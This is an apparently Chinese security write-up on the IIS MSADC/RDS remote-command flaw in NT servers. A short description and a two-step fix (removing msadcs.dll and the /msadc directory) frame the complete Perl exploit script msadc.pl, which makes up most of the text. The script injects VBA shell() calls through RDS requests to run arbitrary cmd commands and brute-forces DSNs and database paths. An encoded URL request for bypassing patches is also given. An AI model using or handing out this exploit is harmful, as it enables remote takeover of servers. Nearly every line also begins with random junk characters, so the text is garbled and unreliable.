IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P2 qC[1hYH P}>>$$b\Yi 涉及程序:
:h/v"2uDN Microsoft NT server
o}f$?{)| ITEf Q@#jU 描述:
=fdW H4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?GtI.flV @?;)x&<8?3 详细:
JoZzX{eu" 如果你没有时间读详细内容的话,就删除:
:Bu)cy#/[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
_meW9)B 有关的安全问题就没有了。
:7 JP(j2 rx@i.+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
!,rF(pz D~|q^Ms,% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
5*Qzw[[= 关于利用ODBC远程漏洞的描述,请参看:
8<32(D{ E1`_[=8a9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R~|(]#com ${}9/(x/^ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
J, +/<Y! http://www.microsoft.com/security/bulletins/MS99-025faq.asp B@*!>R -v|lM8 这里不再论述。
k,; (`L PnB2a'(^@? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
<OJqeUo+*\ $!_} d /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
yD`pUE$ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<^'IC9D] }_mMQg2>= oIMS >& #将下面这段保存为txt文件,然后: "perl -x 文件名"
(H:A|Lw 52,'8`
] #!perl
kA)`i`gt #
8Bh
micU # MSADC/RDS 'usage' (aka exploit) script
P"t Dq& #
k,8^RI07@ # by rain.forest.puppy
t]iKU@3 #
}<w9Jfr"X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%qqeL # beta test and find errors!
tB4yj_ZF qPJSVo use Socket; use Getopt::Std;
D0MW~Y6{ getopts("e:vd:h:XR", \%args);
3H4T*&9;n G `B=:s] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cWo__EE Y?zo") if (!defined $args{h} && !defined $args{R}) {
=NnG[#n% print qq~
sJl>evw Usage: msadc.pl -h <host> { -d <delay> -X -v }
II[-6\d! -h <host> = host you want to scan (ip or domain)
Ge=\IAj -d <seconds> = delay between calls, default 1 second
*P5/ S8c -X = dump Index Server path table, if available
{a9.0N :4 -v = verbose
~ahu{A4Bw -e = external dictionary file for step 5
0dI7{o;<| ,OP\^ Or a -R will resume a command session
4!-R&<TLve !x||ObW\H ~; exit;}
)nK+`{;@! 1=!2|D:C)i $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!YlEXaS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&Fjyi"8(r if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
: t75iB= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
aD6!x3c/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A{T>Aac if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
cS@p`A7Tpo -Ekf T_ if (!defined $args{R}){ $ret = &has_msadc;
*"6A>:rQs die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=4&"fZ"v kE!ky\E print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+%~me? . "cmd /c ";
sEZ2DnDI $in=<STDIN>; chomp $in;
|?MD>Pez $command="cmd /c " . $in ;
#SjCKQ~ De>,i%`Q,D if (defined $args{R}) {&load; exit;}
-lq`EB+ 0m\( @2E print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6lkCLH &try_btcustmr;
'P4V_VMK 9i{(GO print "\nStep 2: Trying to make our own DSN...";
f9IqcCSW &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
v|(N osLEH?iKW print "\nStep 3: Trying known DSNs...";
qF`]}7"^ &known_dsn;
hgwS_L HW'I $ . print "\nStep 4: Trying known .mdbs...";
'dv( &known_mdb;
s.KfMJ"u[ w_LkS/ if (defined $args{e}){
#G?",,&dM print "\nStep 5: Trying dictionary of DSN names...";
CWB<I &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|RqCI9N6 U^DR'X= print "Sorry Charley...maybe next time?\n";
B)0;gWK exit;
,W/Y@ScC +#A~O4%t ##############################################################################
Q7UQwAN' 3hzz*9/n sub sendraw { # ripped and modded from whisker
L}A2$@ sleep($delay); # it's a DoS on the server! At least on mine...
#!_ViG )2^ my ($pstr)=@_;
="Azg8W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(l(d0g&p> die("Socket problems\n");
c]qh)F$s8 if(connect(S,pack "SnA4x8",2,80,$target)){
:3J`+V}9; select(S); $|=1;
r/0AM}[!*j print $pstr; my @in=<S>;
C{G%"q select(STDOUT); close(S);
yLl:G; return @in;
[[ Nn~7 } else { die("Can't connect...\n"); }}
LA(/UA3Izd kK0zb{ ##############################################################################
d?cCSf ST4[d'|j sub make_header { # make the HTTP request
[p(0g;bx my $msadc=<<EOT
IEI&PRD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C*t0`3g
d User-Agent: ACTIVEDATA
~4] J'E > Host: $ip
3#\C!T0y Content-Length: $clen
c{x:'@%/s' Connection: Keep-Alive
ld5+/"$ zY-?Bv_D ADCClientVersion:01.06
mT; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
zU4*FXt kn`O3cW/ --!ADM!ROX!YOUR!WORLD!
g"g3|$#Ej| Content-Type: application/x-varg
]{0OPU Content-Length: $reqlen
N&(MM.\`^ P$@:T[}v EOT
3q6FV7Fv&b ; $msadc=~s/\n/\r\n/g;
>rYMOC~ return $msadc;}
Fa{[kJ8z "1p,
r&} ##############################################################################
KmWd$Qy, A-M6MW sub make_req { # make the RDS request
/IHF my ($switch, $p1, $p2)=@_;
c s:E^ my $req=""; my $t1, $t2, $query, $dsn;
G1I<B 3b`#)y^y?% if ($switch==1){ # this is the btcustmr.mdb query
i@%a!].I $query="Select * from Customers where City=" . make_shell();
(I{+% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|F qujZz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
?dk)2 ,WAJ&
'^ elsif ($switch==2){ # this is general make table query
[EQTrr(
D $query="create table AZZ (B int, C varchar(10))";
rV*Ri~Vx $dsn="$p1";}
`?d`
#)Ck s>{\^T7y elsif ($switch==3){ # this is general exploit table query
zOy_qozk $query="select * from AZZ where C=" . make_shell();
"K;""]#wg0 $dsn="$p1";}
)L_@l5l /U6ry' elsif ($switch==4){ # attempt to hork file info from index server
j|[ >f $query="select path from scope()";
vJX0c\e $dsn="Provider=MSIDXS;";}
e YiqT Wn: Ypinbej elsif ($switch==5){ # bad query
{ /
,?3 $query="select";
oTTE<Ct[ $dsn="$p1";}
c;n\HYk Lg-!,Y
$t1= make_unicode($query);
Q*e\I8R} $t2= make_unicode($dsn);
dkQP.Tj$i $req = "\x02\x00\x03\x00";
Pv*]AF;9pQ $req.= "\x08\x00" . pack ("S1", length($t1));
z1.vnGP $req.= "\x00\x00" . $t1 ;
:1v.Jk $req.= "\x08\x00" . pack ("S1", length($t2));
A3J=,aRI_v $req.= "\x00\x00" . $t2 ;
)vY )Mg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P\@efq@! return $req;}
`<hMrhfh FyChH7 ##############################################################################
7b8y /U0,% sub make_shell { # this makes the shell() statement
FvD/z;N return "'|shell(\"$command\")|'";}
D23 c/8K g?@fHFct ##############################################################################
wb39s^n |>wGl sub make_unicode { # quick little function to convert to unicode
QM7BFS; my ($in)=@_; my $out;
hK %FpGYA for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
xgvwH?< return $out;}
U@53VmrOy 0E@*&Ru ##############################################################################
NuXII- +{%)}?F sub rdo_success { # checks for RDO return success (this is kludge)
R ^INl@(O my (@in) = @_; my $base=content_start(@in);
#K/95!) if($in[$base]=~/multipart\/mixed/){
|:L}/onK return 1 if( $in[$base+10]=~/^\x09\x00/ );}
v"_E0
3! return 0;}
~CHVU3 iAt&927 ##############################################################################
BP1<:T'.q` &@w0c>Y sub make_dsn { # this makes a DSN for us
9vCCE[9 my @drives=("c","d","e","f");
oA;ZDO06r print "\nMaking DSN: ";
1=PTiDMJ<* foreach $drive (@drives) {
tCv}+7) print "$drive: ";
S.?DR3XLc my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%{?9#)) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)kYDN_W . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
I2,AT+O< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[*
|+ it+! return 0 if $2 eq "404"; # not found/doesn't exist
}-T,cA_H| if($2 eq "200") {
HKVtO%& foreach $line (@results) {
VuD{t%Jb return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
:4r*Jju<V } return 0;}
AP ]`'C oFsV0 {x%) ##############################################################################
ju1B._48 |w5,%#AeO$ sub verify_exists {
bas1(/|S my ($page)=@_;
vdot . my @results=sendraw("GET $page HTTP/1.0\n\n");
yA';~V\V{> return $results[0];}
wR"17z7[] |<MSV KW ##############################################################################
msQ?V&+< K87yQOjPv sub try_btcustmr {
F?qg?1vB| my @drives=("c","d","e","f");
?.Ip(g my @dirs=("winnt","winnt35","winnt351","win","windows");
%l!-rXp BKYyc6iE foreach $dir (@dirs) {
fm!\**Q1 print "$dir -> "; # fun status so you can see progress
|OuIQhoE foreach $drive (@drives) {
_ER. AKY print "$drive: "; # ditto
`A- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
JoD@e[( $reqlenlen=length( "$reqlen" );
[$#G|> x $clen= 206 + $reqlenlen + $reqlen;
u-QHV1H`( 6MLjU1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
OP\L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$oPc,zS-gL else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,wngS= hoLA*v2< ##############################################################################
e\!Aoky :#D~j]pP sub odbc_error {
Kq(JHB+ my (@in)=@_; my $base;
g8@F/$HY my $base = content_start(@in);
4[)tO-v:Y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7`&6l+S| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JEF ;Q $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x~K79Mya $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#7KR`H return $in[$base+4].$in[$base+5].$in[$base+6];}
+,j6dYub print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
IR8yE`(h print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7y_<BCx
h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
QlS_{XV s'bTP(wl9 ##############################################################################
,5AEtoF -aV(6i*n sub verbose {
Zay%QNsb my ($in)=@_;
$EzWUt return if !$verbose;
{d.K)8\ print STDOUT "\n$in\n";}
9!.S9[[N WpRM|"CF ##############################################################################
<~S]jtL.j: >]uu?!PU sub save {
dN7.W
my ($p1, $p2, $p3, $p4)=@_;
Xg;;<
/Z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
mA@!t>=oMq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
kI2+& close OUT;}
Ejnk\ 8: '8(UiB5d ##############################################################################
/rky :zNNtv iA sub load {
A6 `a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cIcu=U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Ul}<@d9: B @p=<IN>; close(IN);
6;wKL?snO $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
S#<y_w% $target= inet_aton($ip) || die("inet_aton problems");
JoZSp"R print "Resuming to $ip ...";
|sEuhP\A3 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ijk hV if($p[1]==1) {
12;YxW>[ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)uMv] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
UcH#J &r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[ako8 if (rdo_success(@results)){print "Success!\n";}
wvxsn!Ao&= else { print "failed\n"; verbose(odbc_error(@results));}}
{R_ <m$ elsif ($p[1]==3){
Q7i(M >|O if(run_query("$p[3]")){
?7J::}R print "Success!\n";} else { print "failed\n"; }}
ap2g^lQXq elsif ($p[1]==4){
s+z 5"3'n if(run_query($drvst . "$p[3]")){
\jmZt*c print "Success!\n"; } else { print "failed\n"; }}
/)`]p1c1%w exit;}
L\t_zf_0 K}2G4*8S_G ##############################################################################
yvnDS"0< $PAAmaigi sub create_table {
z;ku*IV my ($in)=@_;
_"*s x- $reqlen=length( make_req(2,$in,"") ) - 28;
UtQCTNjC{ $reqlenlen=length( "$reqlen" );
PB!XApTb $clen= 206 + $reqlenlen + $reqlen;
y,bDi9*| my @results=sendraw(make_header() . make_req(2,$in,""));
vVrM[0*c return 1 if rdo_success(@results);
{m@tt{% my $temp= odbc_error(@results); verbose($temp);
o8v,178 return 1 if $temp=~/Table 'AZZ' already exists/;
|~PaCw8-ge return 0;}
dCo3 VF"u yH>C7M7t ##############################################################################
wNn=JzP Pn6~66a6 sub known_dsn {
%(W8WLz} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*)Cr1d k my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
B*w]yL( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g-1j#V`5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
c{KJNH%7 KY%{'"'u foreach $dSn (@dsns) {
6 jm@`pYbE print ".";
3:xKq4? next if (!is_access("DSN=$dSn"));
pLys%1hg if(create_table("DSN=$dSn")){
/J&ks>St print "$dSn successful\n";
*N}$~N if(run_query("DSN=$dSn")){
y7%SHYC p[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gVI`&W__, print "Something's borked. Use verbose next time\n";}}} print "\n";}
%QEyvl4 L]u^$=rI ##############################################################################
M&<qGV$A Px9 K sub is_access {
;(A- my ($in)=@_;
_zi| GD $reqlen=length( make_req(5,$in,"") ) - 28;
8R:Glif $reqlenlen=length( "$reqlen" );
O0s!3hKu $clen= 206 + $reqlenlen + $reqlen;
yn_. my @results=sendraw(make_header() . make_req(5,$in,""));
j>uu3ADd2 my $temp= odbc_error(@results);
O:GAS [O` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
os&FrtDg return 0;}
*'-t_F'; >,h{` ##############################################################################
#TO^x&3@ .N@+Ms3 sub run_query {
m7C!}l]9 my ($in)=@_;
fOME&$=O $reqlen=length( make_req(3,$in,"") ) - 28;
/wl]kGF $reqlenlen=length( "$reqlen" );
U_j[<.aN) $clen= 206 + $reqlenlen + $reqlen;
!pkIaCxs my @results=sendraw(make_header() . make_req(3,$in,""));
R/*"N'nH-% return 1 if rdo_success(@results);
E*wG5]at my $temp= odbc_error(@results); verbose($temp);
#z<#oC5 return 0;}
mfS}+_ C eU,FYJt9 ##############################################################################
CV_M | OK8Ho" sub known_mdb {
cofdDHXfQI my @drives=("c","d","e","f","g");
NO@`*:.^Y my @dirs=("winnt","winnt35","winnt351","win","windows");
tf|;'Nc6 my $dir, $drive, $mdb;
xkax my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i3Bpim. a]xGzv5 # this is sparse, because I don't know of many
NQX?&9L`r my @sysmdbs=( "\\catroot\\icatalog.mdb",
:#35mBe}k "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
w0lgB%97p "\\system32\\certmdb.mdb",
(Y8LyY "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
vt^7:!r sQ,xTWdj my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
lX)AbK]nb "\\cfusion\\cfapps\\forums\\forums_.mdb",
u'Q82l&Y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
gx',K1T "\\cfusion\\cfapps\\security\\realm_.mdb",
TI/RJF b "\\cfusion\\cfapps\\security\\data\\realm.mdb",
&vt)7[ "\\cfusion\\database\\cfexamples.mdb",
o3GkTn O "\\cfusion\\database\\cfsnippets.mdb",
H{,1-&>| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)KVr2y;RF "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>]ZE<. "\\cfusion\\brighttiger\\database\\cleam.mdb",
P}UxA! "\\cfusion\\database\\smpolicy.mdb",
N3aqNRwlk "\\cfusion\\database\cypress.mdb",
@ =~k[o "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.`5|NUhN "\\website\\cgi-win\\dbsample.mdb",
UB~-$\. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
9__B!vw: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
79@CO6 ); #these are just
h6^|f%\w*i foreach $drive (@drives) {
sgGA0af foreach $dir (@dirs){
mH0OW foreach $mdb (@sysmdbs) {
W=w]`' print ".";
s%`l>#H if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
VHMQY*lk print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0Xw>_#Y/xS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1[u{y{9 q print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
!<HMMf,-D } else { print "Something's borked. Use verbose next time\n"; }}}}}
SQn.`0HT VjNr<~ |d foreach $drive (@drives) {
\k`9s
q foreach $mdb (@mdbs) {
unew
XHA print ".";
|N"K83_pr if(create_table($drv . $drive . $dir . $mdb)){
Rvx7}ZL! print "\n" . $drive . $dir . $mdb . " successful\n";
%.r\P@7/Q if(run_query($drv . $drive . $dir . $mdb)){
p9u*l print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/|P{t{^WM } else { print "Something's borked. Use verbose next time\n"; }}}}
k'H[aYMA }
6kLy!QS /j}Tv.'d ##############################################################################
6Aq]I$ GD]epr%V sub hork_idx {
b @0=&4 print "\nAttempting to dump Index Server tables...\n";
'TH[Db'`I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
o:W*#dt $reqlen=length( make_req(4,"","") ) - 28;
Qg~w 3~ $reqlenlen=length( "$reqlen" );
s(5hFuyg $clen= 206 + $reqlenlen + $reqlen;
;CF:cH* my @results=sendraw2(make_header() . make_req(4,"",""));
*pSnEWwE if (rdo_success(@results)){
CJ%'VijhD my $max=@results; my $c; my %d;
K8MET& for($c=19; $c<$max; $c++){
o5DT1>h $results[$c]=~s/\x00//g;
1/w8'Kf'u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h]t v+\0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%<a3[TQd`\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
B ;E"VS0 $d{"$1$2"}="";}
9X=<uS foreach $c (keys %d){ print "$c\n"; }
`y^\c#k } else {print "Index server doesn't seem to be installed.\n"; }}
amC)t8L? Nc{&AV8Y_v ##############################################################################
fxoEK}TM 0E!-G= v sub dsn_dict {
`'<$N<! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
{}ADsh@7d' while(<IN>){
WQ[nK5# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
'@hUmrl next if (!is_access("DSN=$dSn"));
=FV(m
S if(create_table("DSN=$dSn")){
tlUh8os print "$dSn successful\n";
7<MEM NYX if(run_query("DSN=$dSn")){
d94k print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
D:bmq93PC print "Something's borked. Use verbose next time\n";}}}
"``>ii print "\n"; close(IN);}
;<Hk Cd ."^\1N(.n ##############################################################################
|C z7_Rn )1M2}11uS sub sendraw2 { # ripped and modded from whisker
,3T"fT-( sleep($delay); # it's a DoS on the server! At least on mine...
Uoe;=P@ my ($pstr)=@_;
P658
XKE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-sKtT 9o die("Socket problems\n");
*nJ,|T if(connect(S,pack "SnA4x8",2,80,$target)){
7`t"fS print "Connected. Getting data";
>| ,`E
open(OUT,">raw.out"); my @in;
_v 0iH select(S); $|=1; print $pstr;
E] /2u3p while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.x,y[/[[) close(OUT); select(STDOUT); close(S); return @in;
@XM*N7 } else { die("Can't connect...\n"); }}
d/OP+yzgZ e3TKQ( ##############################################################################
-"JmQ Fha ?Ce=h+l sub content_start { # this will take in the server headers
S@u46 X> my (@in)=@_; my $c;
0m*b9+q for ($c=1;$c<500;$c++) {
p{LbTjdNc if($in[$c] =~/^\x0d\x0a/){
Q\kWQOB_ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
>zX^*T# else { return $c+1; }}}
Q;y5E`G return -1;} # it should never get here actually
.-M5.1mo\( xcWR#z{z ##############################################################################
lqmQQ*Z 2{~`q sub funky {
$ MH;v_'a my (@in)=@_; my $error=odbc_error(@in);
:2S?|7U4 if($error=~/ADO could not find the specified provider/){
JFX}))7 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~^a>C exit;}
T[1iZ if($error=~/A Handler is required/){
V.*M;T\i print "\nServer has custom handler filters (they most likely are patched)\n";
*1kFy_Gx exit;}
aH uMm& if($error=~/specified Handler has denied Access/){
qKd ="PR} print "\nServer has custom handler filters (they most likely are patched)\n";
o
[V8h@K) exit;}}
}vU/]0@,E oJQS&3;/r ##############################################################################
/"D,gn1S* lkTA"8d sub has_msadc {
iv +a5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
bH/4f93Nb my $base=content_start(@results);
77[TqRLf return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
;k `51=Wi return 0;}
!;*flr`/ TBPu&+3 ########################
d;l%XZe sGhw23 !nkIXgWz 解决方案:
r/AOgS 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^0| :
2、移除web 目录: /msadc